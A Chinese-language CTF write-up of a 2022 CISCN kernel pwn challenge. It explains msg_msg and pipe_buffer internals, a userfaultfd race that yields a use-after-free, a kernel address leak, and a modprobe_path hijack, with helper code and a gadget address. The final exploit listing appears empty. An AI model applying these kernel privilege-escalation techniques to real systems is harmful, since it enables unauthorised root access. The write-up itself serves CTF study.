2022 ciscn实践赛西南赛区半决赛只有两道pwn,一道简单vm栈溢出,还有一道1解kernel。
因为题目没有泄露函数,所以我依赖msg_msg构造越界读&任意写的原语,同时借助pipe_buffer完成内核地址泄露。
笔者对msg源码进行了浅要的剖析,有基础 or 对源码不感兴趣 的读者可自行选择跳过。
消息队列是Linux的一种通信机制,这种通信机制传递的数据具有某种结构,而不是简单的字节流。消息队列的本质其实是一个内核提供的链表,内核基于这个链表,实现了一个数据结构。
可以通过消息队列实现进程间通信等。
/include/linux/msg.h中有关于msg_msg结构体的定义:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      | struct msg_msg {    struct list_head m_list;    longm_type;    size_t m_ts;        /*message text size */    struct msg_msgseg *next;    void *security;    /*the actual message follows immediately */}; | 
其中list_head为双向链表结构体,储存next和prev指针:
| 
      1
      
      2
      
      3
      | struct list_head {    struct list_head *next, *prev;}; | 
在ipc/msgutil.c中有对msg_msgseg的定义,还有申请msg_msg结构体的函数:
| 
      1
      
      2
      
      3
      
      4
      | struct msg_msgseg {    struct msg_msgseg *next;    /*the nextpart of the message follows immediately */}; | 
可以看到msg_msgseg就是一个嵌套的结构体指针。
| 
      1
      | intmsgget(key_t key, intmsgflag) | 
其中参数含义:
| 参数 | 参数意义 | 
|---|---|
| key | key的值为函数ftok的返回值或 IPC_PRIVATE,若为IPC_PRIVATE则直接创建新的消息队列 | 
| msgflag | IPC_CREAT:创建新的消息队列。IPC_EXCL:与IPC_CREAT一同使用,表示如果要创建的消息队列已经存在,则返回错误。(IPC_EXCL没有什么实质性的意义,但是可以帮我们确定是新建了消息队列而不是返回已经存在的消息队列)IPC_NOWAIT:读写消息队列要求无法满足时,不阻塞。返回值: 调用成功返回队列标识符,否则返回-1. 其中该参数需要配合权限控制符,例如0666 OR IPC_CREAT | 
调用msgget函数会创建新的消息队列,或者获取已有的消息队列,若创建新的消息队列,会创建一个msg_queue结构体当消息队列msg_msg双向循环链表的起始节点。
需要注意的是后续若某进程调用msgsnd函数对消息队列进行写操作,需要该进程有写权限;同理msgrcv需要有读权限。这是由msgget函数中的第二个参数中的权限控制符所决定的。
| 
      1
      | intmsgsnd(intmsqid, const void *msgp, size_t msgsz, intmsgflg) | 
引自Roland师傅的图:(概括性的,若读者不想看我对源码的分析可以直接参考这个表)

调用 msgsnd 系统调用在指定消息队列上发送一条指定大小的 message 时,会建立msg_msg结构体。
查看实现msgsnd系统调用的do_msgsnd函数部分源码:
msg_queue作为msg_msg队列的链表头。load_msg函数对msg进行了初始化。| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      
      16
      
      17
      
      18
      
      19
      | static longdo_msgsnd(intmsqid, longmtype, void __user *mtext,        size_t msgsz, intmsgflg){    struct msg_queue *msq;    struct msg_msg *msg;    interr;    struct ipc_namespace *ns;    DEFINE_WAKE_Q(wake_q);    ns =current->nsproxy->ipc_ns;    if(msgsz > ns->msg_ctlmax || (long) msgsz < 0|| msqid < 0)        return-EINVAL;    if(mtype < 1)        return-EINVAL;    msg =load_msg(mtext, msgsz);   ........... | 
查看load_msg函数:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      
      16
      
      17
      
      18
      
      19
      
      20
      
      21
      
      22
      
      23
      
      24
      
      25
      
      26
      
      27
      
      28
      
      29
      
      30
      
      31
      
      32
      
      33
      | struct msg_msg *load_msg(const void __user *src, size_t len){    struct msg_msg *msg;    struct msg_msgseg *seg;    interr =-EFAULT;    size_t alen;    msg =alloc_msg(len);    if(msg ==NULL)        returnERR_PTR(-ENOMEM);    alen =min(len, DATALEN_MSG);    if(copy_from_user(msg +1, src, alen))        goto out_err;    for(seg =msg->next; seg !=NULL; seg =seg->next) {        len-=alen;        src =(char __user *)src +alen;        alen =min(len, DATALEN_SEG);        if(copy_from_user(seg +1, src, alen))            goto out_err;    }    err =security_msg_msg_alloc(msg);    if(err)        goto out_err;    returnmsg;out_err:    free_msg(msg);    returnERR_PTR(err);} | 
调用了alloc_msg函数分配空间,同时将用户数据拷贝到内核msg_msg队列中。
再查看alloc_msg函数:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      
      16
      
      17
      
      18
      
      19
      
      20
      
      21
      
      22
      
      23
      
      24
      
      25
      
      26
      
      27
      
      28
      
      29
      
      30
      
      31
      
      32
      
      33
      
      34
      
      35
      
      36
      
      37
      
      38
      
      39
      
      40
      
      41
      | #define DATALEN_MSG    ((size_t)PAGE_SIZE-sizeof(struct msg_msg))#define DATALEN_SEG    ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))static struct msg_msg *alloc_msg(size_t len){    struct msg_msg *msg;    struct msg_msgseg **pseg;    size_t alen;    alen =min(len, DATALEN_MSG);    msg =kmalloc(sizeof(*msg) +alen, GFP_KERNEL_ACCOUNT);    if(msg ==NULL)        returnNULL;    msg->next=NULL;    msg->security =NULL;    len-=alen;    pseg =&msg->next;    while(len> 0) {        struct msg_msgseg *seg;        cond_resched();        alen =min(len, DATALEN_SEG);        seg =kmalloc(sizeof(*seg) +alen, GFP_KERNEL_ACCOUNT);        if(seg ==NULL)            goto out_err;        *pseg =seg;        seg->next=NULL;        pseg =&seg->next;        len-=alen;    }    returnmsg;out_err:    free_msg(msg);    returnNULL;} | 
从该函数源码我们可以知道:
msg_msg结构体有储存自身信息的header,大小为0x30。msg_msg结构体只能申请最大为PAGE_SIZE-header_size(也就是0x1000-0x30)。length大于DATALEN_MSG,则会将剩下的内容储存在msg_msgseg中,同理多余length也不可超过DATALEN_SEG,但是msg_msgseg的header没有msg_msg那么复杂,只有一个next指针,剩余数据全用来储存data。length超过DATALEN_SEG,则继续分配msg_msgseg结构体。通俗点来说,msg_msg和msg_msgseg结构体最大size均不能超过page_size:
msg_msg超过了会分配msg_msgseg帮它分担。msg_msgseg超过了会继续分配msg_msgseg。最后单个msg_msg消息会形成如下的单向链表结构:

而msg_msg之间则是用list_head 来链接,形成的是以msg_queue为首节点的双向循环链表结构,大致如下:

申请msg_msg的调用链:
| 
      1
      | do_msgsnd-->load_msg-->alloc_msg | 
| 
      1
      | ssize_t msgrcv(intmsqid, void *msgp, size_t msgsz, longmsgtyp,intmsgflg) | 
同样引自Roland师傅的图:(进行了一点小更正)

msgrcv系统调用能从消息队列上接受指定大小的消息,并且选择性(是否)释放msg_msg结构体。
具体实现源码在/ipc/msg.c的do_msgrcv中。
find_msg定位| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      
      16
      
      17
      
      18
      
      19
      
      20
      
      21
      
      22
      
      23
      
      24
      
      25
      
      26
      
      27
      
      28
      
      29
      | static struct msg_msg *find_msg(struct msg_queue *msq, long*msgtyp, intmode){    struct msg_msg *msg, *found =NULL;    longcount =0;    list_for_each_entry(msg, &msq->q_messages, m_list)     {        if(testmsg(msg, *msgtyp, mode) &&            !security_msg_queue_msgrcv(&msq->q_perm, msg, current,                           *msgtyp, mode))         {            if(mode ==SEARCH_LESSEQUAL && msg->m_type !=1)             {                *msgtyp =msg->m_type -1;                found =msg;            }             elseif(mode ==SEARCH_NUMBER)             {                if(*msgtyp ==count)                    returnmsg;            }             else                returnmsg;            count++;        }    }    returnfound ?: ERR_PTR(-EAGAIN);} | 
该函数中源码中使用了内核源码中常见的一个宏定义:list_for_each_entry。该宏定义可以理解为一个for循环。
它实际上是一个 for 循环,利用传入的 pos 作为循环变量,从表头 head 开始,逐项向后(next 方向)移动 pos,直至又回head。
该循环遍历了msg_queue为首节点的双向循环链表,也就是遍历了所有msg_msg队列的头节点。
然后调用testmsg,根据mode和传入的msgtyp来筛选:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      
      16
      
      17
      
      18
      
      19
      
      20
      
      21
      | static inttestmsg(struct msg_msg *msg, longtype, intmode){    switch (mode) {    case SEARCH_ANY:    case SEARCH_NUMBER:        return1;    case SEARCH_LESSEQUAL:        if(msg->m_type <=type)            return1;        break;    case SEARCH_EQUAL:        if(msg->m_type ==type)            return1;        break;    case SEARCH_NOTEQUAL:        if(msg->m_type !=type)            return1;        break;    }    return0;} | 
其中mode由convert_mode决定:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      
      16
      
      17
      
      18
      
      19
      
      20
      
      21
      
      22
      
      23
      | static inline intconvert_mode(long*msgtyp, intmsgflg){    if(msgflg & MSG_COPY)        returnSEARCH_NUMBER;    /*     *find message of correct type.     *msgtyp =0=> get first.     *msgtyp > 0=> get first message of matching type.     *msgtyp < 0=> get message with least typemust be < abs(msgtype).     */    if(*msgtyp ==0)        returnSEARCH_ANY;    if(*msgtyp < 0) {        if(*msgtyp ==LONG_MIN) /*-LONG_MIN isundefined */            *msgtyp =LONG_MAX;        else            *msgtyp =-*msgtyp;        returnSEARCH_LESSEQUAL;    }    if(msgflg & MSG_EXCEPT)        returnSEARCH_NOTEQUAL;    returnSEARCH_EQUAL;} | 
综合起来,可以看到用户是通过控制msgtyp来控制do_msg_rcv拷贝/取得 哪条队列信息:
| msgtyp | mode | 效果 | ||
|---|---|---|---|---|
| <0 | SEARCH_LESSEQUAL | 找到一个 msg->m_type小于msgtyp且msg->m_type最小的msg_msg | ||
| =0 | SEARCH_ANY | 找到 msg_msg队列中第一个msg_msg | ||
| >0 | SEARCH_EQUAL\ | \ | SEARCH_NOTEQUAL | 找到第一个 msg->m_type等于/不等于msgtyp的msg_msg | 
特例:MSG_COPY位为1的时候,mode为SEARCH-NUMBER,在find_msg中会返回msg_msg双向循环链表中,第msgtyp个msg_msg,也就是返回第msgtyp条消息,而不是上述表格中根据msgtyp去和msg->m_type进行匹配。
在/ipc/msg.c中do_msgrcv:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      | static longdo_msgrcv(intmsqid, void __user *buf, size_t bufsz, longmsgtyp, intmsgflg,           long(*msg_handler)(void __user *, struct msg_msg *, size_t)){    intmode;    struct msg_queue *msq;    struct ipc_namespace *ns;    struct msg_msg *msg, *copy =NULL;    ...........    ...........    list_del(&msg->m_list);    ...........    ...........    free_msg(msg);    returnbufsz; | 
内核首先会调用 list_del() 将其从 msg_queue 的双向链表上 unlink,之后再调用 free_msg() 释放 msg_msg 单向链表上的所有消息。
在do_msg_rcv函数最后,调用了msg_handler,看参数像是进行内核-->用户的数据拷贝。
| 
      1
      | bufsz =msg_handler(buf, msg, bufsz); | 
其中msg_handler是do_msgrcv传进来的参数,是一个函数指针,向上看调用do_msgrcv的调用链:
| 
      1
      
      2
      
      3
      
      4
      
      5
      | longksys_msgrcv(intmsqid, struct msgbuf __user *msgp, size_t msgsz,         longmsgtyp, intmsgflg){    returndo_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);} | 
可知msg_handler具体函数指针为do_msg_fill:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      | static longdo_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz){    struct msgbuf __user *msgp =dest;    size_t msgsz;    if(put_user(msg->m_type, &msgp->mtype))        return-EFAULT;    msgsz =(bufsz > msg->m_ts) ? msg->m_ts : bufsz;    if(store_msg(msgp->mtext, msg, msgsz))        return-EFAULT;    returnmsgsz;} | 
其中调用store_msg进行数据拷贝:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      
      16
      
      17
      
      18
      | intstore_msg(void __user *dest, struct msg_msg *msg, size_t len){    size_t alen;    struct msg_msgseg *seg;    alen =min(len, DATALEN_MSG);    if(copy_to_user(dest, msg +1, alen))        return-1;    for(seg =msg->next; seg !=NULL; seg =seg->next) {        len-=alen;        dest =(char __user *)dest +alen;        alen =min(len, DATALEN_SEG);        if(copy_to_user(dest, seg +1, alen))            return-1;    }    return0;} | 
可以看到拷贝过程和之前msg_msg结构内存申请相对应:
DATALEN_MSG,则直接拷贝后结束。DATALEN_MSG,则继续拷贝msg_msg单向链表后面的msg_msgseg结构体内容,直到拷贝结束。ps:拷贝结束的标志均为seg->next指针为NULL
拷贝的总长度则由msgsz决定,而msgsz:
| 
      1
      | msgsz =(bufsz > msg->m_ts) ? msg->m_ts : bufsz; | 
可以看到若bufsz足够的情况下,拷贝数据总长度是由msg->m_ts决定的。
MSG_COPY位需要注意的是,若我们带有MSG_COPY标志,则不会在双向链表上unlink,只会进行copy操作,具体实现在do_msgrcv中部分源码:
若有MSG_COPY标志,源码注释:If we are copying, then do not unlink message and do not update queue parameters.
不会调用list_del()去进行unlink,并且最后free_msg()释放的是我们在内核中copy出来的堆块。也就是说,我们可以通过设置MSG_COPY多次读取一条消息。
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      
      16
      
      17
      
      18
      
      19
      
      20
      
      21
      
      22
      
      23
      
      24
      
      25
      
      26
      
      27
      
      28
      
      29
      | if(!IS_ERR(msg)) {            /*             *Found a suitable message.             *Unlink it fromthe queue.             */            if((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {                msg =ERR_PTR(-E2BIG);                goto out_unlock0;            }            /*             *If we are copying, then do notunlink message anddo             *notupdate queue parameters.             */            if(msgflg & MSG_COPY) {                msg =copy_msg(msg, copy);                goto out_unlock0;            }            list_del(&msg->m_list);            msq->q_qnum--;            msq->q_rtime =ktime_get_real_seconds();            ipc_update_pid(&msq->q_lrpid, task_tgid(current));            msq->q_cbytes -=msg->m_ts;            atomic_sub(msg->m_ts, &ns->msg_bytes);            atomic_dec(&ns->msg_hdrs);            ss_wakeup(msq, &wake_q, false);            goto out_unlock0;        } | 
在通过find_msg定位一节已经讲过:
MSG_COPY位为1的时候,mode为SEARCH-NUMBER,在find_msg中会返回msg_msg双向循环链表中,第msgtyp个msg_msg,也就是返回第msgtyp条消息,而不是上述表格中根据msgtyp去和msg->m_type进行匹配。
由于MSG_COPY位为1的时候,内核会调用prepare_copy再申请一块内存出来。
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      | static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz){    struct msg_msg *copy;    /*     *Create dummy message to copy real message to.     */    copy =load_msg(buf, bufsz);    if(!IS_ERR(copy))        copy->m_ts =bufsz;    returncopy; | 
申请内存大小为我们传入do_msgrcv的bufsz。
| 
      1
      
      2
      | if(src->m_ts > dst->m_ts)        returnERR_PTR(-EINVAL); | 
若源src->m_ts大于目标dst->m_ts,则会发生溢出,因此会直接返回不会拷贝。
同时copy_msg函数末尾还有赋值操作:
| 
      1
      | dst->m_ts =src->m_ts | 
因此我们要满足的条件是src->m_ts<=dst->m_ts即可。
即bufsz>=src->m_ts。
经过对源码的阅读和分析,可以想到我们可以做到的事情:
(1)改掉msg_msg->m_ts。
可以读取最多一页的内存,实现越界读。
msg_msg,则可以读取该msg_msg附近的数据(最多将近一页内存)。msg_msgseg,则可以读取单向链表尾节点msg_msgseg中附近的数据(最多将近一页内存)。(2)改掉msg_msg->m_ts和msg_msg->m_list中的next指针。
可以利用堆喷其他结构体+msg_msg越界读,获得一些堆地址 or 内核地址。
可以堆喷一些一些消息队列,每个消息队列上只有一条消息:即msg->queue双向循环链表里只有一个节点:

可以通过某个msg_msg的越界读,有几率读到其他消息队列的msg_msg的m_list字段,而我们构造每条消息队列上只有一条消息
,泄露其m_list,即为msg_queue的地址。泄露完之后,继续伪造msg_msg->next字段可泄露整个该消息队列中每个结构体的地址。
可以实现任意地址读。
但是需要注意的是,我们需要伪造我们需要读的地址target的next指针为NULL,不然在store_msg进行数据拷贝的时候,是以NULL指针为结束判断条件,因此我们需要满足target->next==NULL or target->next->next==NULL,反正需要我们伪造的任意读链表存在一个NULL节点,且中途不能到达不可读地址,否则会造成kernel panic。
在do_msgsnd函数中调用了load_msg进行用户到内核的数据拷贝,若我们利用userfault机制暂停一个线程,再在另一个线程中篡改掉msg->next指针,则可以实现任意地址写。
模板采用的arttnba3师傅的模板:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      
      16
      
      17
      
      18
      
      19
      
      20
      
      21
      
      22
      
      23
      
      24
      
      25
      
      26
      
      27
      
      28
      
      29
      
      30
      
      31
      
      32
      
      33
      
      34
      
      35
      
      36
      
      37
      
      38
      
      39
      
      40
      
      41
      
      42
      
      43
      
      44
      
      45
      
      46
      
      47
      
      48
      
      49
      
      50
      
      51
      
      52
      
      53
      
      54
      
      55
      
      56
      
      57
      
      58
      
      59
      
      60
      
      61
      | struct list_head {    uint64_t    next;    uint64_t    prev;};struct msg_msg {    struct list_head m_list;    uint64_t    m_type;    uint64_t    m_ts;    uint64_t    next;    uint64_t    security;};struct msg_msgseg {    uint64_t    next;};struct msgbuf {    longmtype;    char mtext[0];};intgetMsgQueue(void){    returnmsgget(IPC_PRIVATE, 0666| IPC_CREAT);}intreadMsg(intmsqid, void *msgp, size_t msgsz, longmsgtyp){    returnmsgrcv(msqid, msgp, msgsz, msgtyp, 0);}/** *the msgp should be a pointer to the `struct msgbuf`, *andthe data should be stored inmsgbuf.mtext */intwriteMsg(intmsqid, void *msgp, size_t msgsz, longmsgtyp){    ((struct msgbuf*)msgp)->mtype =msgtyp;    returnmsgsnd(msqid, msgp, msgsz, 0);}/*forMSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */intpeekMsg(intmsqid, void *msgp, size_t msgsz, longmsgtyp){    returnmsgrcv(msqid, msgp, msgsz, msgtyp,                   MSG_COPY | IPC_NOWAIT | MSG_NOERROR);}void buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,               uint64_t m_type, uint64_t m_ts,  uint64_t next, uint64_t security){    msg->m_list.next=m_list_next;    msg->m_list.prev =m_list_prev;    msg->m_type =m_type;    msg->m_ts =m_ts;    msg->next=next;    msg->security =security;} | 
pipe是Linux系统跨进程通信的一种方式。管道是连接一个读进程和一个写进程,以实现它们之间通信的共享文件。基于pipe族系统调用实现(而非open())。而这个文件不是真正的文件,向管道文件读写数据其实是在读写内核缓冲区。
| 
      1
      
      2
      | #include <unistd.h>intpipe(intpipefd[2]); | 
pipe() 创建一个管道,一个可用于进程间通信的单向数据通道。 数组 pipefd 用于返回两个指向管道末端的文件描述符。 pipefd[0] 是管道的读端fd。 pipefd[1] 是管道的写端fd。 写端把数据写入管道,直到读端读取数据。
管道不需要open,但需要close释放。
定义在/include/linux/pipe_fs_i.h中:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      | struct pipe_buffer {    struct page *page;    unsigned intoffset, len;    const struct pipe_buf_operations *ops;    unsigned intflags;    unsigned longprivate;}; | 
size为0x30。
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      
      16
      
      17
      
      18
      
      19
      
      20
      
      21
      
      22
      
      23
      
      24
      
      25
      
      26
      
      27
      
      28
      
      29
      
      30
      
      31
      
      32
      
      33
      
      34
      
      35
      
      36
      
      37
      
      38
      
      39
      
      40
      
      41
      
      42
      
      43
      
      44
      
      45
      
      46
      
      47
      | struct pipe_inode_info *alloc_pipe_info(void){    struct pipe_inode_info *pipe;    unsigned longpipe_bufs =PIPE_DEF_BUFFERS;    struct user_struct *user =get_current_user();    unsigned longuser_bufs;    unsigned intmax_size =READ_ONCE(pipe_max_size);    pipe =kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);    if(pipe ==NULL)        goto out_free_uid;    if(pipe_bufs *PAGE_SIZE > max_size && !capable(CAP_SYS_RESOURCE))        pipe_bufs =max_size >> PAGE_SHIFT;    user_bufs =account_pipe_buffers(user, 0, pipe_bufs);    if(too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {        user_bufs =account_pipe_buffers(user, pipe_bufs, PIPE_MIN_DEF_BUFFERS);        pipe_bufs =PIPE_MIN_DEF_BUFFERS;    }    if(too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())        goto out_revert_acct;    pipe->bufs =kcalloc(pipe_bufs, sizeof(struct pipe_buffer),                 GFP_KERNEL_ACCOUNT);    if(pipe->bufs) {        init_waitqueue_head(&pipe->rd_wait);        init_waitqueue_head(&pipe->wr_wait);        pipe->r_counter =pipe->w_counter =1;        pipe->max_usage =pipe_bufs;        pipe->ring_size =pipe_bufs;        pipe->nr_accounted =pipe_bufs;        pipe->user =user;        mutex_init(&pipe->mutex);        returnpipe;    }out_revert_acct:    (void) account_pipe_buffers(user, pipe_bufs, 0);    kfree(pipe);out_free_uid:    free_uid(user);    returnNULL;} | 
在建立管道时,内核首先会申请一个pipe_inode_info结构体,然后在其pipe_inode_info->buf字段申请pipe_buffer结构体:
| 
      1
      
      2
      
      3
      | unsigned longpipe_bufs =PIPE_DEF_BUFFERS;pipe->bufs =kcalloc(pipe_bufs, sizeof(struct pipe_buffer),                 GFP_KERNEL_ACCOUNT); | 
其中PIPE_DEF_BUFFERS=16;因此会申请0x10*0x30(size of pipe_buffer)的内存,也就是会从kmalloc-1k中取。
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      
      16
      
      17
      
      18
      
      19
      
      20
      
      21
      
      22
      
      23
      
      24
      
      25
      
      26
      
      27
      
      28
      
      29
      
      30
      
      31
      | struct pipe_buf_operations {    /*     *->confirm() verifies that the data inthe pipe bufferisthere     *andthat the contents are good. If the pages inthe pipe belong     *to a filesystem, we may need to wait forIO completion inthis     *hook. Returns 0forgood, ora negative error value incase of     *error.  If notpresent allpages are considered good.     */    int(*confirm)(struct pipe_inode_info *, struct pipe_buffer *);    /*     *When the contents of this pipe bufferhas been completely     *consumed by a reader, ->release() iscalled.     */    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);    /*     *Attempt to take ownership of the pipe bufferandits contents.     *->try_steal() returns %true forsuccess, inwhich case the contents     *of the pipe (the buf->page) islocked andnow completely owned by the     *caller. The page may then be transferred to a different mapping, the     *most often used case isinsertion into different fileaddress space     *cache.     */    bool(*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);    /*     *Get a reference to the pipe buffer.     */    bool(*get)(struct pipe_inode_info *, struct pipe_buffer *);}; | 
主要关注其release指针,在我们关闭一个管道的两端之后,管道会被释放,同样pipe_buffer也会被释放。调用的是函数表中的release指针。调用路径为:free_pipe_info->pipe_buf_release
pipe_buffer中的*pipe_buf_operations成员能泄露内核基地址。
PS:需要注意的是,利用pipe系统调用后需要调用一次写管道才能对函数表进行初始化:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      | static ssize_tpipe_write(struct kiocb *iocb, struct iov_iter *from){......            buf =&pipe->bufs[head & mask];            buf->page =page;            buf->ops =&anon_pipe_buf_ops;            buf->offset =0;            buf->len=0;...... | 
覆写pipe_buffer->pipe_buf_operations->release为某些栈迁移指针。将rsi-->rsp。
题目开启了KPTI,SMAP,SMEP等正常保护。
内核版本:
| 
      1
      
      2
      | /$ uname -aLinux (none) 5.10.102#2 SMP Sun Mar 27 17:29:07 CST 2022 x86_64 GNU/Linux | 
从5.11内核版本开始,就禁止非特权用户使用userfaultfd了。所以这道题是userfaultfd版本最后的荣光 (bushi
在kernel_release函数中存在指针未清零的情况:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      | int__fastcall kernel_release(inode *inode, file*filp){  char **v2; //rax  intresult; //eax  _fentry__();  v2 =addrList;  do    *v2++=0LL;  while( v2 !=&addrList[32] );  kfree(buffer, filp);  result =0;  flags =0;  returnresult;} | 
但是kernel_open函数判断了flag字段:
| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      | void kernel_open(){  __int64 v0; //rdi  _fentry__();  if( !flags )  {    v0 =kmalloc_caches[8];    flags =1;    buffer=(char *)kmem_cache_alloc_trace(v0, 0xCC0LL, 0x100LL);    if( buffer)      kernel_open_cold();  }} | 
因此我们无法调用两次kernel_open后利用kernel_release的指针悬挂,来造成0x100 size的一个object的UAF。
但是由于kernel_read和kernel_write,kernel_open与kernel_release均未加锁,且read与write中含有类似于如下的copy_to_user操作:
| 
      1
      
      2
      | if( copy_to_user(a2, v4, v5) )      return-2LL; | 
因此我们可以考虑使用userfaultfd卡住当前进程,在另外一个线程中调用kernel_release。这样同样可以达到一个0x100 size的UAF。
所以笔者是考虑用这个简单的洞来泄露内核基址,用的是0x100 size对应的timerfd_ctx结构体。
不过笔者用这种方法无论如何都无法泄露出内核基址,后来咨询arttnba3师傅后得知:
内核调用fput对文件描述符进行释放,对于文件描述符的关闭会被delay,直到我们读取数据后才会关闭。

因此靠这种操作leak内核数据是不可行的。
程序除了module自身的open,release,read,write操作。
提供了简单的菜单堆功能:
所有功能都未加锁,因此可以用userfaultfd在edit时将进程卡死,在另一个线程中free掉这个堆块后申请某些object到该地址上,实现0x400 size object的UAF(只能更改一次值)。
申请一个消息队列,上面只放一条消息,且size为0x400。同时申请一个pipe_buffer。
改大msg_msg->m_ts,用带有MSG_COPY位的msgrcv进行越界读,泄露出pipe_buffer上的函数表。
得到内核基址。
leak内核地址分别消耗了一次add,delete,edit操作。因此我们还有一次UAF的机会。
笔者最先考虑的是用pipe_buffer提权,刚好满足0x400的size,因此我们利用UAF将pipe_buffer->pipe_buf_operations->release函数指针更改为某个栈迁移gadget即可。
但是我并没有找到可利用的gadget,其中有一条可能能达成的:
| 
      1
      | push_rsi_pop_rsp =0xffffffff81934056;//push rsi; pop rsp; retf; | 
不过retf是按32位pop eip和cs,的,而32位根本不足以储存一个内核地址。
同时还有例如mov esp,esi类型的gadget,由于intel x86&x64的调用约定,当对32位寄存器进行赋值操作的时候,会将高32位寄存器值清零,因此也不可用。
同时注意到程序没有开启CONFIG_STATIC_USERMODEHELPER保护,因此笔者选择用UAF劫持0x400 size的freelist到modprobe_path附近,更改modprobe_path。
笔者是申请msg_msg结构体申请到modprobe_path附近,由于size太大,会将modprobe_path附近的所有内容全部清空。
 直接进行接下来的提权or 读取flag操作会在成功前引起kernel panic,因此我们需要恢复modprobe_path附近的函数指针。
其中,kmod的函数指针恢复是必要的:

因为modprobe_path是一个Linux程序,最初由Rusty Russell编写,用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块,因此modprobe是安装某个内核模块,而kmod是一个用于控制linux内核模块的程序,因此在后续调用中需要用到
最后直接利用modprobe_path_hijack更改flag权限后读取即可。

| 
      1
      
      2
      
      3
      
      4
      
      5
      
      6
      
      7
      
      8
      
      9
      
      10
      
      11
      
      12
      
      13
      
      14
      
      15
      
      16
      
      17
      
      18
      
      19
      
      20
      
      21
      
      22
      
      23
      
      24
      
      25
      
      26
      
      27
      
      28
      
      29
      
      30
      
      31
      
      32
      
      33
      
      34
      
      35
      
      36
      
      37
      
      38
      
      39
      
      40
      
      41
      
      42
      
      43
      
      44
      
      45
      
      46
      
      47
      
      48
      
      49
      
      50
      
      51
      
      52
      
      53
      
      54
      
      55
      
      56
      
      57
      
      58
      
      59
      
      60
      
      61
      
      62
      
      63
      
      64
      
      65
      
      66
      
      67
      
      68
      
      69
      
      70
      
      71
      
      72
      
      73
      
      74
      
      75
      
      76
      
      77
      
      78
      
      79
      
      80
      
      81
      
      82
      
      83
      
      84
      
      85
      
      86
      
      87
      
      88
      
      89
      
      90
      
      91
      
      92
      
      93
      
      94
      
      95
      
      96
      
      97
      
      98
      
      99
      
      100
      
      101
      
      102
      
      103
      
      104
      
      105
      
      106
      
      107
      
      108
      
      109
      
      110
      
      111
      
      112
      
      113
      
      114
      
      115
      
      116
      
      117
      
      118
      
      119
      
      120
      
      121
      
      122
      
      123
      
      124
      
      125
      
      126
      
      127
      
      128
      
      129
      
      130
      
      131
      
      132
      
      133
      
      134
      
      135
      
      136
      
      137
      
      138
      
      139
      
      140
      
      141
      
      142
      
      143
      
      144
      
      145
      
      146
      
      147
      
      148
      
      149
      
      150
      
      151
      
      152
      
      153
      
      154
      
      155
      
      156
      
      157
      
      158
      
      159
      
      160
      
      161
      
      162
      
      163
      
      164
      
      165
      
      166
      
      167
      
      168
      
      169
      
      170
      
      171
      
      172
      
      173
      
      174
      
      175
      
      176
      
      177
      
      178
      
      179
      
      180
      
      181
      
      182
      
      183
      
      184
      
      185
      
      186
      
      187
      
      188
      
      189
      
      190
      
      191
      
      192
      
      193
      
      194
      
      195
      
      196
      
      197
      
      198
      
      199
      
      200
      
      201
      
      202
      
      203
      
      204
      
      205
      
      206
      
      207
      
      208
      
      209
      
      210
      
      211
      
      212
      
      213
      
      214
      
      215
      
      216
      
      217
      
      218
      
      219
      
      220
      
      221
      
      222
      
      223
      
      224
      
      225
      
      226
      
      227
      
      228
      
